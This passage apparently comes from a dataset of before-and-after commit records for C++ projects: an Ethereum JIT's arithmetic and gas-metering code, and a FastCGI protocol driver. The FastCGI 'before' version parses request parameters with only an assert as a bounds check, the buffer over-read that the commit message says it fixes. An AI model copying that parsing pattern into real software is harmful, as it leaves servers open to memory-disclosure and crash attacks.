addc(uint64_t x, uint64_t y)\n\/\/\t{\n\/\/\t\treturn (uint128)x * (uint128)y;\n\/\/\t}\n\n\tstruct uint256\n\t{\n\t\tuint64_t lo;\n\t\tuint64_t mid;\n\t\tuint128 hi;\n\t};\n\n\/\/\tuint256 add(uint256 x, uint256 y)\n\/\/\t{\n\/\/\t\tauto lo = (uint128) x.lo + y.lo;\n\/\/\t\tauto mid = (uint128) x.mid + y.mid + (lo >> 64);\n\/\/\t\treturn {lo, mid, x.hi + y.hi + (mid >> 64)};\n\/\/\t}\n\n\tuint256 mul(uint256 x, uint256 y)\n\t{\n\t\tauto t1 = (uint128) x.lo * y.lo;\n\t\tauto t2 = (uint128) x.lo * y.mid;\n\t\tauto t3 = x.lo * y.hi;\n\t\tauto t4 = (uint128) x.mid * y.lo;\n\t\tauto t5 = (uint128) x.mid * y.mid;\n\t\tauto t6 = x.mid * y.hi;\n\t\tauto t7 = x.hi * y.lo;\n\t\tauto t8 = x.hi * y.mid;\n\n\t\tauto lo = (uint64_t) t1;\n\t\tauto m1 = (t1 >> 64) + (uint64_t) t2;\n\t\tauto m2 = (uint64_t) m1;\n\t\tauto mid = (uint128) m2 + (uint64_t) t4;\n\t\tauto hi = (t2 >> 64) + t3 + (t4 >> 64) + t5 + (t6 << 64) + t7\n\t\t\t + (t8 << 64) + (m1 >> 64) + (mid >> 64);\n\n\t\treturn {lo, (uint64_t)mid, hi};\n\t}\n}\n\n}\n}\n}\n\n\nextern \"C\"\n{\n\n\tusing namespace dev::eth::jit;\n\n\tEXPORT void arith_mul(uint256* _arg1, uint256* _arg2, uint256* o_result)\n\t{\n\t\t*o_result = mul(*_arg1, *_arg2);\n\t}\n\n\tEXPORT void arith_div(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : arg1 \/ arg2);\n\t}\n\n\tEXPORT void arith_mod(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : arg1 % arg2);\n\t}\n\n\tEXPORT void arith_sdiv(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : s2u(u2s(arg1) \/ u2s(arg2)));\n\t}\n\n\tEXPORT void arith_smod(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : s2u(u2s(arg1) % u2s(arg2)));\n\t}\n\n\tEXPORT void arith_exp(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tbigint left = llvm2eth(*_arg1);\n\t\tbigint right = llvm2eth(*_arg2);\n\t\tauto ret = static_cast<u256>(boost::multiprecision::powm(left, right, bigint(2) << 256));\n\t\t*o_result = eth2llvm(ret);\n\t}\n\n\tEXPORT void arith_mulmod(i256* _arg1, i256* _arg2, i256* _arg3, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\tauto arg3 = llvm2eth(*_arg3);\n\t\tif (arg3 != 0)\n\t\t\t*o_result = eth2llvm(u256((bigint(arg1) * bigint(arg2)) % arg3));\n\t\telse\n\t\t\t*o_result = {};\n\t}\n\n\tEXPORT void arith_addmod(i256* _arg1, i256* _arg2, i256* _arg3, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\tauto arg3 = llvm2eth(*_arg3);\n\t\tif (arg3 != 0)\n\t\t\t*o_result = eth2llvm(u256((bigint(arg1) + bigint(arg2)) % arg3));\n\t\telse\n\t\t\t*o_result = {};\n\t}\n\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\n#include \"GasMeter.h\"\n\n#include <llvm\/IR\/GlobalVariable.h>\n#include <llvm\/IR\/Function.h>\n#include <llvm\/IR\/IntrinsicInst.h>\n\n#include <libevmface\/Instruction.h>\n#include <libevm\/FeeStructure.h>\n\n#include \"Type.h\"\n#include \"Ext.h\"\n#include \"Runtime.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nnamespace \/\/ Helper functions\n{\n\nuint64_t getStepCost(Instruction inst) \/\/ TODO: Add this function to FeeSructure (pull request submitted)\n{\n\tswitch (inst)\n\t{\n\tcase Instruction::STOP:\n\tcase Instruction::SUICIDE:\n\t\treturn 0;\n\n\tcase Instruction::SSTORE:\n\t\treturn static_cast<uint64_t>(c_sstoreResetGas);\t\/\/ FIXME: Check store gas\n\n\tcase Instruction::SLOAD:\n\t\treturn static_cast<uint64_t>(c_sloadGas);\n\n\tcase Instruction::SHA3:\n\t\treturn static_cast<uint64_t>(c_sha3Gas);\n\n\tcase Instruction::BALANCE:\n\t\treturn static_cast<uint64_t>(c_sha3Gas);\n\n\tcase Instruction::CALL:\n\tcase Instruction::CALLCODE:\n\t\treturn static_cast<uint64_t>(c_callGas);\n\n\tcase Instruction::CREATE:\n\t\treturn static_cast<uint64_t>(c_createGas);\n\n\tdefault: \/\/ Assumes instruction code is valid\n\t\treturn static_cast<uint64_t>(c_stepGas);\n\t}\n}\n\nbool isCostBlockEnd(Instruction _inst)\n{\n\t\/\/ Basic block terminators like STOP are not needed on the list\n\t\/\/ as cost will be commited at the end of basic block\n\n\t\/\/ CALL & CALLCODE are commited manually\n\n\tswitch (_inst)\n\t{\n\tcase Instruction::CALLDATACOPY:\n\tcase Instruction::CODECOPY:\n\tcase Instruction::MLOAD:\n\tcase Instruction::MSTORE:\n\tcase Instruction::MSTORE8:\n\tcase Instruction::SSTORE:\n\tcase Instruction::GAS:\n\tcase Instruction::CREATE:\n\t\treturn true;\n\n\tdefault:\n\t\treturn false;\n\t}\n}\n\n}\n\nGasMeter::GasMeter(llvm::IRBuilder<>& _builder, RuntimeManager& _runtimeManager) :\n\tCompilerHelper(_builder),\n\tm_runtimeManager(_runtimeManager)\n{\n\tauto module = getModule();\n\n\tm_gasCheckFunc = llvm::Function::Create(llvm::FunctionType::get(Type::Void, Type::i256, false), llvm::Function::PrivateLinkage, \"gas.check\", module);\n\tInsertPointGuard guard(m_builder); \n\n\tauto checkBB = llvm::BasicBlock::Create(_builder.getContext(), \"Check\", m_gasCheckFunc);\n\tauto outOfGasBB = llvm::BasicBlock::Create(_builder.getContext(), \"OutOfGas\", m_gasCheckFunc);\n\tauto updateBB = llvm::BasicBlock::Create(_builder.getContext(), \"Update\", m_gasCheckFunc);\n\n\tm_builder.SetInsertPoint(checkBB);\n\tllvm::Value* cost = m_gasCheckFunc->arg_begin();\n\tcost->setName(\"cost\");\n\tauto gas = m_runtimeManager.getGas();\n\tauto isOutOfGas = m_builder.CreateICmpUGT(cost, gas, \"isOutOfGas\");\n\tm_builder.CreateCondBr(isOutOfGas, outOfGasBB, updateBB);\n\n\tm_builder.SetInsertPoint(outOfGasBB);\n\t_runtimeManager.raiseException(ReturnCode::OutOfGas);\n\tm_builder.CreateUnreachable();\n\n\tm_builder.SetInsertPoint(updateBB);\n\tgas = m_builder.CreateSub(gas, cost);\n\tm_runtimeManager.setGas(gas);\n\tm_builder.CreateRetVoid();\n}\n\nvoid GasMeter::count(Instruction _inst)\n{\n\tif (!m_checkCall)\n\t{\n\t\t\/\/ Create gas check call with mocked block cost at begining of current cost-block\n\t\tm_checkCall = m_builder.CreateCall(m_gasCheckFunc, llvm::UndefValue::get(Type::i256));\n\t}\n\t\n\tif (_inst != Instruction::SSTORE) \/\/ Handle cost of SSTORE separately in countSStore()\n\t\tm_blockCost += getStepCost(_inst);\n\n\tif (isCostBlockEnd(_inst))\n\t\tcommitCostBlock();\n}\n\nvoid GasMeter::countSStore(Ext& _ext, llvm::Value* _index, llvm::Value* _newValue)\n{\n\tassert(!m_checkCall); \/\/ Everything should've been commited before\n\n\tstatic const auto sstoreCost = static_cast<uint64_t>(c_sstoreResetGas);\t\/\/ FIXME: Check store gas\n\n\t\/\/ [ADD] if oldValue == 0 and newValue != 0 => 2*cost\n\t\/\/ [DEL] if oldValue != 0 and newValue == 0 => 0\n\n\tauto oldValue = _ext.store(_index);\n\tauto oldValueIsZero = m_builder.CreateICmpEQ(oldValue, Constant::get(0), \"oldValueIsZero\");\n\tauto newValueIsZero = m_builder.CreateICmpEQ(_newValue, Constant::get(0), \"newValueIsZero\");\n\tauto oldValueIsntZero = m_builder.CreateICmpNE(oldValue, Constant::get(0), \"oldValueIsntZero\");\n\tauto newValueIsntZero = m_builder.CreateICmpNE(_newValue, Constant::get(0), \"newValueIsntZero\");\n\tauto isAdd = m_builder.CreateAnd(oldValueIsZero, newValueIsntZero, \"isAdd\");\n\tauto isDel = m_builder.CreateAnd(oldValueIsntZero, newValueIsZero, \"isDel\");\n\tauto cost = m_builder.CreateSelect(isAdd, Constant::get(2 * sstoreCost), Constant::get(sstoreCost), \"cost\");\n\tcost = m_builder.CreateSelect(isDel, Constant::get(0), cost, \"cost\");\n\tcreateCall(m_gasCheckFunc, cost);\n}\n\nvoid GasMeter::giveBack(llvm::Value* _gas)\n{\n\tm_runtimeManager.setGas(m_builder.CreateAdd(m_runtimeManager.getGas(), _gas));\n}\n\nvoid GasMeter::commitCostBlock(llvm::Value* _additionalCost)\n{\n\tassert(!_additionalCost || m_checkCall); \/\/ _additionalCost => m_checkCall; Must be inside cost-block\n\n\t\/\/ If any uncommited block\n\tif (m_checkCall)\n\t{\n\t\tif (m_blockCost == 0) \/\/ Do not check 0\n\t\t{\n\t\t\tm_checkCall->eraseFromParent(); \/\/ Remove the gas check call\n\t\t\tm_checkCall = nullptr;\n\t\t\treturn;\n\t\t}\n\n\t\tm_checkCall->setArgOperand(0, Constant::get(m_blockCost)); \/\/ Update block cost in gas check call\n\t\tm_checkCall = nullptr; \/\/ End cost-block\n\t\tm_blockCost = 0;\n\n\t\tif (_additionalCost)\n\t\t{\n\t\t\tm_builder.CreateCall(m_gasCheckFunc, _additionalCost);\n\t\t}\n\t}\n\tassert(m_blockCost == 0);\n}\n\nvoid GasMeter::checkMemory(llvm::Value* _additionalMemoryInWords, llvm::IRBuilder<>& _builder)\n{\n\t\/\/ Memory uses other builder, but that can be changes later\n\tauto cost = _builder.CreateMul(_additionalMemoryInWords, Constant::get(static_cast<uint64_t>(c_memoryGas)), \"memcost\");\n\t_builder.CreateCall(m_gasCheckFunc, cost);\n}\n\n}\n}\n}\n\n<commit_msg>Improve GasMeter code formatting<commit_after>\n#include \"GasMeter.h\"\n\n#include <llvm\/IR\/GlobalVariable.h>\n#include <llvm\/IR\/Function.h>\n#include <llvm\/IR\/IntrinsicInst.h>\n\n#include <libevmface\/Instruction.h>\n#include <libevm\/FeeStructure.h>\n\n#include \"Type.h\"\n#include \"Ext.h\"\n#include \"Runtime.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nnamespace \/\/ Helper functions\n{\n\nuint64_t getStepCost(Instruction inst) \/\/ TODO: Add this function to FeeSructure (pull request submitted)\n{\n\tswitch (inst)\n\t{\n\tcase Instruction::STOP:\n\tcase Instruction::SUICIDE:\n\t\treturn 0;\n\n\tcase Instruction::SSTORE:\n\t\treturn static_cast<uint64_t>(c_sstoreResetGas); \/\/ FIXME: Check store gas\n\n\tcase Instruction::SLOAD:\n\t\treturn static_cast<uint64_t>(c_sloadGas);\n\n\tcase Instruction::SHA3:\n\t\treturn static_cast<uint64_t>(c_sha3Gas);\n\n\tcase Instruction::BALANCE:\n\t\treturn static_cast<uint64_t>(c_sha3Gas);\n\n\tcase Instruction::CALL:\n\tcase Instruction::CALLCODE:\n\t\treturn static_cast<uint64_t>(c_callGas);\n\n\tcase Instruction::CREATE:\n\t\treturn static_cast<uint64_t>(c_createGas);\n\n\tdefault: \/\/ Assumes instruction code is valid\n\t\treturn static_cast<uint64_t>(c_stepGas);\n\t}\n}\n\nbool isCostBlockEnd(Instruction _inst)\n{\n\t\/\/ Basic block terminators like STOP are not needed on the list\n\t\/\/ as cost will be commited at the end of basic block\n\n\t\/\/ CALL & CALLCODE are commited manually\n\n\tswitch (_inst)\n\t{\n\tcase Instruction::CALLDATACOPY:\n\tcase Instruction::CODECOPY:\n\tcase Instruction::MLOAD:\n\tcase Instruction::MSTORE:\n\tcase Instruction::MSTORE8:\n\tcase Instruction::SSTORE:\n\tcase Instruction::GAS:\n\tcase Instruction::CREATE:\n\t\treturn true;\n\n\tdefault:\n\t\treturn false;\n\t}\n}\n\n}\n\nGasMeter::GasMeter(llvm::IRBuilder<>& _builder, RuntimeManager& _runtimeManager) :\n\tCompilerHelper(_builder),\n\tm_runtimeManager(_runtimeManager)\n{\n\tauto module = getModule();\n\n\tm_gasCheckFunc = llvm::Function::Create(llvm::FunctionType::get(Type::Void, Type::i256, false), llvm::Function::PrivateLinkage, \"gas.check\", module);\n\tInsertPointGuard guard(m_builder);\n\n\tauto checkBB = llvm::BasicBlock::Create(_builder.getContext(), \"Check\", m_gasCheckFunc);\n\tauto outOfGasBB = llvm::BasicBlock::Create(_builder.getContext(), \"OutOfGas\", m_gasCheckFunc);\n\tauto updateBB = llvm::BasicBlock::Create(_builder.getContext(), \"Update\", m_gasCheckFunc);\n\n\tm_builder.SetInsertPoint(checkBB);\n\tllvm::Value* cost = m_gasCheckFunc->arg_begin();\n\tcost->setName(\"cost\");\n\tauto gas = m_runtimeManager.getGas();\n\tauto isOutOfGas = m_builder.CreateICmpUGT(cost, gas, \"isOutOfGas\");\n\tm_builder.CreateCondBr(isOutOfGas, outOfGasBB, updateBB);\n\n\tm_builder.SetInsertPoint(outOfGasBB);\n\t_runtimeManager.raiseException(ReturnCode::OutOfGas);\n\tm_builder.CreateUnreachable();\n\n\tm_builder.SetInsertPoint(updateBB);\n\tgas = m_builder.CreateSub(gas, cost);\n\tm_runtimeManager.setGas(gas);\n\tm_builder.CreateRetVoid();\n}\n\nvoid GasMeter::count(Instruction _inst)\n{\n\tif (!m_checkCall)\n\t{\n\t\t\/\/ Create gas check call with mocked block cost at begining of current cost-block\n\t\tm_checkCall = m_builder.CreateCall(m_gasCheckFunc, llvm::UndefValue::get(Type::i256));\n\t}\n\n\tif (_inst != Instruction::SSTORE) \/\/ Handle cost of SSTORE separately in countSStore()\n\t\tm_blockCost += getStepCost(_inst);\n\n\tif (isCostBlockEnd(_inst))\n\t\tcommitCostBlock();\n}\n\nvoid GasMeter::countSStore(Ext& _ext, llvm::Value* _index, llvm::Value* _newValue)\n{\n\tassert(!m_checkCall); \/\/ Everything should've been commited before\n\n\tstatic const auto sstoreCost = static_cast<uint64_t>(c_sstoreResetGas); \/\/ FIXME: Check store gas\n\n\t\/\/ [ADD] if oldValue == 0 and newValue != 0 => 2*cost\n\t\/\/ [DEL] if oldValue != 0 and newValue == 0 => 0\n\n\tauto oldValue = _ext.store(_index);\n\tauto oldValueIsZero = m_builder.CreateICmpEQ(oldValue, Constant::get(0), \"oldValueIsZero\");\n\tauto newValueIsZero = m_builder.CreateICmpEQ(_newValue, Constant::get(0), \"newValueIsZero\");\n\tauto oldValueIsntZero = m_builder.CreateICmpNE(oldValue, Constant::get(0), \"oldValueIsntZero\");\n\tauto newValueIsntZero = m_builder.CreateICmpNE(_newValue, Constant::get(0), \"newValueIsntZero\");\n\tauto isAdd = m_builder.CreateAnd(oldValueIsZero, newValueIsntZero, \"isAdd\");\n\tauto isDel = m_builder.CreateAnd(oldValueIsntZero, newValueIsZero, \"isDel\");\n\tauto cost = m_builder.CreateSelect(isAdd, Constant::get(2 * sstoreCost), Constant::get(sstoreCost), \"cost\");\n\tcost = m_builder.CreateSelect(isDel, Constant::get(0), cost, \"cost\");\n\tcreateCall(m_gasCheckFunc, cost);\n}\n\nvoid GasMeter::giveBack(llvm::Value* _gas)\n{\n\tm_runtimeManager.setGas(m_builder.CreateAdd(m_runtimeManager.getGas(), _gas));\n}\n\nvoid GasMeter::commitCostBlock(llvm::Value* _additionalCost)\n{\n\tassert(!_additionalCost || m_checkCall); \/\/ _additionalCost => m_checkCall; Must be inside cost-block\n\n\t\/\/ If any uncommited block\n\tif (m_checkCall)\n\t{\n\t\tif (m_blockCost == 0) \/\/ Do not check 0\n\t\t{\n\t\t\tm_checkCall->eraseFromParent(); \/\/ Remove the gas check call\n\t\t\tm_checkCall = nullptr;\n\t\t\treturn;\n\t\t}\n\n\t\tm_checkCall->setArgOperand(0, Constant::get(m_blockCost)); \/\/ Update block cost in gas check call\n\t\tm_checkCall = nullptr; \/\/ End cost-block\n\t\tm_blockCost = 0;\n\n\t\tif (_additionalCost)\n\t\t{\n\t\t\tm_builder.CreateCall(m_gasCheckFunc, _additionalCost);\n\t\t}\n\t}\n\tassert(m_blockCost == 0);\n}\n\nvoid GasMeter::checkMemory(llvm::Value* _additionalMemoryInWords, llvm::IRBuilder<>& _builder)\n{\n\t\/\/ Memory uses other builder, but that can be changes later\n\tauto cost = _builder.CreateMul(_additionalMemoryInWords, Constant::get(static_cast<uint64_t>(c_memoryGas)), \"memcost\");\n\t_builder.CreateCall(m_gasCheckFunc, cost);\n}\n\n}\n}\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2001-2007 Peter Simons <simons@cryp.to>\n *\n * This software is provided 'as-is', without any express or\n * implied warranty. In no event will the authors be held liable\n * for any damages arising from the use of this software.\n *\n * Copying and distribution of this file, with or without\n * modification, are permitted in any medium without royalty\n * provided the copyright notice and this notice are preserved.\n *\/\n\n#include \"fastcgi.hpp\"\n#include <iostream>\n#include <assert.h>\n#include <stdio.h>\n#ifndef _WIN32\n#include <memory.h>\n#endif\n\ntypedef unsigned char uint8_t;\ntypedef unsigned short uint16_t;\ntypedef unsigned int uint32_t;\n\nenum message_type_t\n { TYPE_BEGIN_REQUEST = 1\n , TYPE_ABORT_REQUEST = 2\n , TYPE_END_REQUEST = 3\n , TYPE_PARAMS = 4\n , TYPE_STDIN = 5\n , TYPE_STDOUT = 6\n , TYPE_STDERR = 7\n , TYPE_DATA = 8\n , TYPE_GET_VALUES = 9\n , TYPE_GET_VALUES_RESULT = 10\n , TYPE_UNKNOWN = 11\n };\n\nstruct Header\n{\n uint8_t version;\n uint8_t type;\n uint8_t requestIdB1;\n uint8_t requestIdB0;\n uint8_t contentLengthB1;\n uint8_t contentLengthB0;\n uint8_t paddingLength;\n uint8_t reserved;\n\n Header()\n {\n memset(this, 0, sizeof(*this));\n }\n\n Header(message_type_t t, uint16_t id, uint16_t len)\n : version(1), type(t)\n , requestIdB1(id >> 8)\n , requestIdB0(id & 0xff)\n , contentLengthB1(len >> 8)\n , contentLengthB0(len & 0xff)\n , paddingLength(0), reserved(0)\n {\n }\n};\n\nstruct BeginRequest\n{\n uint8_t roleB1;\n uint8_t roleB0;\n uint8_t flags;\n uint8_t reserved[5];\n};\n\nstatic uint8_t const FLAG_KEEP_CONN = 1;\n\nstruct EndRequestMsg : public Header\n{\n uint8_t appStatusB3;\n uint8_t appStatusB2;\n uint8_t appStatusB1;\n uint8_t appStatusB0;\n uint8_t protocolStatus;\n uint8_t reserved[3];\n\n EndRequestMsg()\n {\n memset(this, 0, sizeof(*this));\n }\n\n EndRequestMsg(uint16_t id, uint32_t appStatus, FCGIRequest::protocol_status_t protStatus)\n : Header(TYPE_END_REQUEST, id, sizeof(EndRequestMsg)-sizeof(Header))\n , appStatusB3((appStatus >> 24) & 0xff)\n , appStatusB2((appStatus >> 16) & 0xff)\n , appStatusB1((appStatus >> 8) & 0xff)\n , appStatusB0((appStatus >> 0) & 0xff)\n , protocolStatus(protStatus)\n {\n memset(this->reserved, 0, sizeof(this->reserved));\n }\n};\n\nstruct UnknownTypeMsg : public Header\n{\n uint8_t type;\n uint8_t reserved[7];\n\n UnknownTypeMsg()\n {\n memset(this, 0, sizeof(*this));\n }\n\n UnknownTypeMsg(uint8_t unknown_type)\n : Header(TYPE_UNKNOWN, 0, sizeof(UnknownTypeMsg) - sizeof(Header))\n , type(unknown_type)\n {\n memset(this->reserved, 0, sizeof(this->reserved));\n }\n};\n\nvoid FCGIProtocolDriver::process_unknown(uint8_t type)\n{\n UnknownTypeMsg msg(type);\n output_cb(&msg, sizeof(UnknownTypeMsg));\n}\n\nvoid FCGIProtocolDriver::process_begin_request(uint16_t id, uint8_t const * buf, uint16_t)\n{\n \/\/ Check whether we have an open request with that id already and\n \/\/ if, throw an exception.\n\n if (reqmap.find(id) != reqmap.end())\n {\n char tmp[256];\n#ifdef _WIN32\n\tsprintf_s(tmp, \"FCGIProtocolDriver received duplicate BEGIN_REQUEST id %u.\", id);\n#else\n sprintf(tmp, \"FCGIProtocolDriver received duplicate BEGIN_REQUEST id %u.\", id);\n#endif\n throw duplicate_begin_request(tmp);\n }\n\n \/\/ Create a new request instance and store it away. The user may\n \/\/ get it after we've read all parameters.\n\n BeginRequest const * br = reinterpret_cast<BeginRequest const *>(buf);\n reqmap[id] = new FCGIRequest(*this, id,\n FCGIRequest::role_t((br->roleB1 << 8) + br->roleB0),\n (br->flags & FLAG_KEEP_CONN) == 1);\n}\n\nvoid FCGIProtocolDriver::process_abort_request(uint16_t id, uint8_t const *, uint16_t)\n{\n \/\/ Find request instance for this id. Ignore message if non\n \/\/ exists, set ignore flag otherwise.\n\n reqmap_t::iterator req = reqmap.find(id);\n if (req == reqmap.end())\n std::cerr << \"FCGIProtocolDriver received ABORT_REQUEST for non-existing id \" << id << \". Ignoring.\"\n << std::endl;\n else\n {\n req->second->aborted = true;\n if (req->second->handler_cb) \/\/ Notify the handler associated with this request.\n (*req->second->handler_cb)(req->second);\n }\n}\n\nvoid FCGIProtocolDriver::process_params(uint16_t id, uint8_t const * buf, uint16_t len)\n{\n \/\/ Find request instance for this id. Ignore message if non\n \/\/ exists.\n\n reqmap_t::iterator req = reqmap.find(id);\n if (req == reqmap.end())\n {\n std::cerr << \"FCGIProtocolDriver received PARAMS for non-existing id \" << id << \". Ignoring.\"\n << std::endl;\n return;\n }\n\n \/\/ Is this the last message to come? Then queue the request for\n \/\/ the user.\n\n if (len == 0)\n {\n new_request_queue.push(id);\n return;\n }\n\n \/\/ Process message.\n\n uint8_t const * const bufend(buf + len);\n uint32_t name_len;\n uint32_t data_len;\n while(buf != bufend)\n {\n if (*buf >> 7 == 0)\n name_len = *(buf++);\n else\n {\n name_len = ((buf[0] & 0x7F) << 24) + (buf[1] << 16) + (buf[2] << 8) + buf[3];\n buf += 4;\n }\n if (*buf >> 7 == 0)\n data_len = *(buf++);\n else\n {\n data_len = ((buf[0] & 0x7F) << 24) + (buf[1] << 16) + (buf[2] << 8) + buf[3];\n buf += 4;\n }\n assert(buf + name_len + data_len <= bufend);\n std::string const name(reinterpret_cast<char const *>(buf), name_len);\n buf += name_len;\n std::string const data(reinterpret_cast<char const *>(buf), data_len);\n buf += data_len;\n#ifdef DEBUG_FASTCGI\n std::cerr << \"request #\" << id << \": FCGIProtocolDriver received PARAM '\" << name << \"' = '\" << data << \"'\"\n << std::endl;\n#endif\n req->second->params[name] = data;\n }\n}\n\nvoid FCGIProtocolDriver::process_stdin(uint16_t id, uint8_t const * buf, uint16_t len)\n{\n \/\/ Find request instance for this id. Ignore message if non\n \/\/ exists.\n\n reqmap_t::iterator req = reqmap.find(id);\n if (req == reqmap.end())\n {\n std::cerr << \"FCGIProtocolDriver received STDIN for non-existing id \" << id << \". Ignoring.\"\n << std::endl;\n return;\n }\n\n \/\/ Is this the last message to come? Then set the eof flag.\n \/\/ Otherwise, add the data to the buffer in the request structure.\n\n if (len == 0)\n req->second->stdin_eof = true;\n else\n req->second->stdin_stream.append((char const *)buf, len);\n\n \/\/ Notify the handler associated with this request.\n\n if (req->second->handler_cb)\n (*req->second->handler_cb)(req->second);\n}\n\nFCGIProtocolDriver::FCGIProtocolDriver(OutputCallback& cb) : output_cb(cb)\n{\n}\n\nFCGIProtocolDriver::~FCGIProtocolDriver()\n{\n for(reqmap_t::iterator i = reqmap.begin(); i != reqmap.end(); ++i)\n {\n delete i->second;\n }\n}\n\nvoid FCGIProtocolDriver::process_input(void const * buf, size_t count)\n{\n \/\/ Copy data to our own buffer.\n\n InputBuffer.insert( InputBuffer.end()\n , static_cast<uint8_t const *>(buf)\n , static_cast<uint8_t const *>(buf) + count\n );\n\n \/\/ If there is enough data in the input buffer to contain a\n \/\/ header, interpret it.\n\n while(InputBuffer.size() >= sizeof(Header))\n {\n Header const * hp = reinterpret_cast<Header const *>(&InputBuffer[0]);\n\n \/\/ Check whether our peer speaks the correct protocol version.\n\n if (hp->version != 1)\n {\n char buf[256];\n#ifdef _WIN32\n sprintf_s(buf, \"FCGIProtocolDriver cannot handle protocol version %u.\", hp->version);\n#else\n\t sprintf(buf, \"FCGIProtocolDriver cannot handle protocol version %u.\", hp->version);\n#endif\n throw unsupported_fcgi_version(buf);\n }\n\n \/\/ Check whether we have the whole message that follows the\n \/\/ headers in our buffer already. If not, we can't process it\n \/\/ yet.\n\n uint16_t msg_len = (hp->contentLengthB1 << 8) + hp->contentLengthB0;\n uint16_t msg_id = (hp->requestIdB1 << 8) + hp->requestIdB0;\n\n if (InputBuffer.size() < sizeof(Header)+msg_len+hp->paddingLength)\n return;\n\n \/\/ Process the message. In case an exception arrives here,\n \/\/ terminate the request.\n\n try\n {\n#ifdef DEBUG_FASTCGI\n std::cerr << \"Received message: id = \" << msg_id << \", \"\n << \"body len = \" << msg_len << \", \"\n << \"type = \" << (int)hp->type << std::endl;\n#endif\n switch (hp->type)\n {\n case TYPE_BEGIN_REQUEST:\n process_begin_request(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_ABORT_REQUEST:\n process_abort_request(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_PARAMS:\n process_params(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_STDIN:\n process_stdin(msg_id, &InputBuffer[0]+sizeof(Header), msg_len);\n break;\n\n case TYPE_END_REQUEST:\n case TYPE_STDOUT:\n case TYPE_STDERR:\n case TYPE_DATA:\n case TYPE_GET_VALUES:\n case TYPE_GET_VALUES_RESULT:\n case TYPE_UNKNOWN:\n default:\n process_unknown(hp->type);\n }\n }\n catch(fcgi_io_callback_error const &)\n {\n throw;\n }\n catch(std::exception const & e)\n {\n std::cerr << \"Caught exception while processing request #\" << msg_id << \": \" << e.what() << std::endl;\n terminate_request(msg_id);\n }\n catch(...)\n {\n std::cerr << \"Caught unknown exception while processing request #\" << msg_id << \".\" << std::endl;\n terminate_request(msg_id);\n }\n\n \/\/ Remove the message from our buffer and contine processing\n \/\/ if there if something left.\n\n InputBuffer.erase( InputBuffer.begin()\n , InputBuffer.begin()+sizeof(Header)+msg_len+hp->paddingLength\n );\n }\n}\n\nFCGIRequest* FCGIProtocolDriver::get_request()\n{\n if (new_request_queue.empty())\n return 0;\n\n FCGIRequest* r = reqmap[new_request_queue.front()];\n new_request_queue.pop();\n return r;\n}\n\nbool FCGIProtocolDriver::have_active_requests()\n{\n if (new_request_queue.empty() && reqmap.empty())\n return false;\n else\n return true;\n}\n\nvoid FCGIProtocolDriver::terminate_request(uint16_t id)\n{\n reqmap_t::iterator req;\n req = reqmap.find(id);\n if (req != reqmap.end())\n {\n delete req->second;\n reqmap.erase(req);\n }\n}\n\n\/\/ Pure virtual destructors must also exist somewhere.\n\nFCGIProtocolDriver::OutputCallback::~OutputCallback()\n{\n}\n\nFCGIRequest::FCGIRequest(FCGIProtocolDriver& driver_, uint16_t id_, role_t role_, bool kc)\n : id(id_), role(role_), keep_connection(kc), aborted(false), stdin_eof(false)\n , data_eof(false), handler_cb(0), driver(driver_)\n{\n}\n\nFCGIRequest::~FCGIRequest()\n{\n if (handler_cb)\n delete handler_cb;\n}\n\nvoid FCGIRequest::write(const std::string& buf, ostream_type_t stream)\n{\n write(buf.data(), buf.size(), stream);\n}\n\nvoid FCGIRequest::write(char const * buf, size_t count, ostream_type_t stream)\n{\n if (count > 0xffff)\n throw std::out_of_range(\"Can't send messages of that size.\");\n else if (count == 0)\n return;\n\n \/\/ Construct message.\n\n Header h(stream == STDOUT ? TYPE_STDOUT : TYPE_STDERR, id, (uint16_t)count);\n driver.output_cb(&h, sizeof(Header));\n driver.output_cb(buf, count);\n}\n\nvoid FCGIRequest::write(const std::string &tw)\n{\n\twrite(tw.data(), tw.size(), STDOUT);\n}\n\nvoid FCGIRequest::end_request(uint32_t appStatus, FCGIRequest::protocol_status_t protStatus)\n{\n \/\/ Terminate the stdout and stderr stream, and send the\n \/\/ end-request message.\n\n uint8_t buf[64];\n uint8_t * p = buf;\n\n new(p) Header(TYPE_STDOUT, id, 0);\n p += sizeof(Header);\n new(p) Header(TYPE_STDERR, id, 0);\n p += sizeof(Header);\n new(p) EndRequestMsg(id, appStatus, protStatus);\n p += sizeof(EndRequestMsg);\n driver.output_cb(buf, p - buf);\n driver.terminate_request(id);\n}\n<commit_msg>Fix Buffer Over-read in FastCGI parameters<commit_after>\/*\n * Copyright (c) 2001-2007 Peter Simons <simons@cryp.to>\n *\n * This software is provided 'as-is', without any express or\n * implied warranty. In no event will the authors be held liable\n * for any damages arising from the use of this software.\n *\n * Copying and distribution of this file, with or without\n * modification, are permitted in any medium without royalty\n * provided the copyright notice and this notice are preserved.\n *\/\n\n#include \"fastcgi.hpp\"\n#include <iostream>\n#include 